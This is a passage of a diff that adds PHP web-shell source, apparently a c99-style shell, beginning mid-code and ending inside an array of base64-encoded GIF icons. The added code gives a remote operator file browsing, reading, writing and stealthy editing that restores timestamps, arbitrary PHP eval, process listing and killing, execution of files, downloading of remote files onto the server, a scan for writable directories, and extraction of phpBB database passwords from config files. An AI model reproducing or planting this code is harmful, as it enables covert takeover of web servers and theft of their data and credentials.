    "; + } + else { echo $ret."
    "; } + @chdir($olddir); + } +} +if ($act == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} + else { + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "Name"; + $row[] = "Size"; + $row[] = "Date Modified"; + if (!$win) {$row[] = "Owner/Group";} + $row[] = "Perms"; + $row[] = "Action"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " "; + $y .= "\"".($parsesort[1]"; + $row[$k] .= $y; + for($i=0;$i".$row[$i]."";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; dQ99shexit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = " ".$o.""; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = " ".$o.""; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = " [".$disppath."]"; + } + else { + $type = "DIR"; + $row[] = " [".$disppath."]"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = " ".$disppath.""; + $row[] = view_size($a[1]); + } + $row[] = @date("d.m.Y H:i:s",$a[2]); + if (!$win) { $row[] = $a[3]; } + $row[] = "".view_perms_color($v).""; + if ($o == ".") {$checkbox = ""; $i--;} + else {$checkbox = "";} + if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} + else {$row[] = "\"Info\" \"Edit\" \"Download\" ".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "
    .: "; + if (!empty($dQ_infohead)) { echo $dQ_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.
    \n"; + echo "
    ". + ""; + foreach($table as $row) { + echo ""; + foreach($row as $v) {echo "";} + echo "\r\n"; + } + echo "
    ".$v."
    ". + "". + "
    ". + "  ". + ""; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "                  "; + } + echo " 
    "; + echo "
    "; + } +} +if ($act == "tools") { tools(); } +##[ PHP FILESYSTEM TRICKZ (By diKi) ]## +if ($act == "phpfsys") { + echo "
    "; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "Success! $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "Success! $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "Perm for $arg1 changed to $arg2!\n"; } + } + elseif ($fsfunc=="read") { + $darg = $d.$arg1; + if ($hasil = @file_get_contents($darg)) { + echo "Filename: ".$darg."
    "; + echo "
    \n"; + } + else { echo "
    Couldn't open ".$darg."
    "; } + } + elseif ($fsfunc=="write") { + $darg = $d.$arg1; + if(@file_put_contents($darg,$arg2)) { + echo "Saved! ".$darg; + + } + else { echo "
    Can't write to $darg!
    "; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
    Can't write to ".$d.$arg2."!
    "; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
    Can't write to ".$d.$arg2."!
    "; } + fclose($r); + } + else { echo "
    Can't download from $arg1!
    ";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "Already exists: ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "Access denied: ".htmlspecialchars($thedir); } + else { echo "Dir created: ".htmlspecialchars($thedir);} + } + else { echo "Can't create current dir: $thedir"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + if (is_dir($arg1)) { + echo "Writable directories (Max: $arg2) in: $arg1
    "; + echo "
    ";
    +      recurse_dir($arg1,$arg2);
    +      echo "
    "; + $total = $dir_count - 1; + echo "
    Founds: ".$total." of Max $arg2"; + } + else { + echo "
    Directory is not exist or permission denied!
    "; + } + } + else { + if (!$arg1) { echo "
    No operation! Please fill parameter [A]!
    \n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "Result of $fsfunc $arg1:
    "; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "
    ";
    +          foreach ($hasil as $v) { echo $v."\n"; }
    +          echo "
    "; + } + } + else { echo "
    $fsfunc $arg1 failed!
    \n"; } + } + } + echo "
    \n"; +} +if ($act == "processes") { + echo "
    .: Processes :.
    \n"; + if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = dQ99exec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) { $processes_sort = $sort_default; } + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = ""; + } + else { + $y = ""; + } + $ret = htmlspecialchars($ret); + if (!$win) { //Not Windows + if ($pid) { + if (is_null($sig)) { $sig = 9; } + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; } + } + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i".$head[$i].""; + } + } + $head[$i] = ""; + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) { $line[0] = "".$line[0].""; } + $line[] = "KILL"; + $prcs[] = $line; + } + } + } + //For Windows - Fixed By diKi + else { + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = ""; } + else { $y = ""; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i".trim($head[$i]).""; } + } + $prcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $prcs[] = $line; + } + } + } + $head[$k] = "".$head[$k]."".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "\n"; + foreach($tab as $i=>$k) { + echo ""; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) { $v = view_size($v); } + echo ""; + } + echo "\n"; + } + echo "
    ".$v."
    "; + } +} +if ($act == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:
    "; + $tmp = @ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + @ob_clean(); + eval($eval); + $ret = @ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + @ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
    "; + } + else {echo $ret."
    ";} + } + else { + if ($eval_txt) { + echo "
    "; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "PHP-code Execution (Use without PHP Braces!)"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "


     Display in text-area 
    "; +} +if ($act == "f") { + echo "
    "; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} + else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("","info"), + array("","html"), + array("","txt"), + array("Code","code"), + array("Session","phpsess"), + array("","exe"), + array("SDB","sdb"), + array("","img"), + array("","ini"), + array("","download"), + array("","notepad"), + array("","edit") + ); + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " ".$t[0]."";} + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + else {echo " ".$t[0]."";} + echo " (+) |"; + } + echo "
    "; + if ($ft == "info") { + echo "Information:"; + if (!$win) { + echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
    "; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000
    "; + $a1 = ""; + $a2 = ""; + for ($i=0; $i";} + $a1 .= "
    "; + $a2 .= "
    "; + } + } + echo "". + "". + "". + "". + "
    ".$a0."".$a1."".$a2."

    "; + } + $encoded = ""; + if ($base64 == 1) { + echo "Base64 Encode
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "Base64 Encode + Chunk
    "; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "Base64 Encode + Chunk + Quotes
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "
    "; + } + if (!empty($encoded)) + { + echo "

    "; + } + echo "HEXDUMP: [Full] [Preview]
    Base64: +
    [Encode + [+chunk + [+chunk+quotes + [Decode +

    "; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {dQ99shexit();} + } + elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} + elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} + elseif ($ft == "phpsess") { + echo "
    ";
    +   $v = explode("|",$r);
    +   echo $v[0]."
    "; + var_dump(unserialize($v[1])); + echo "
    "; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "Execute file:

    Display in text-area
    "; + } + elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "phpBB configuration is detected in this file!
    "; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "Connect to DB

    ";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:
    "; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} + echo "

    "; + } + } + echo "
    "; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {dQ99shexit();} + echo "
    "; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "
    Size: "; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo ""; + if ($imgsize != $v ) {echo $v;} + else {echo "".$v."";} + echo "   "; + } + echo "

    "; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "Can't write to file!";} + else + { + echo "Saved!"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "
      
    "; + } + elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} + else {echo "
    Unknown file type (".$ext."), please select type manually.
    ";} +} +echo "
    \n"; +} +} +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGdQChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1dQ19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9dQ7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9dQ////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9dQ01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9dQ01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++dQ/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/dQ6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 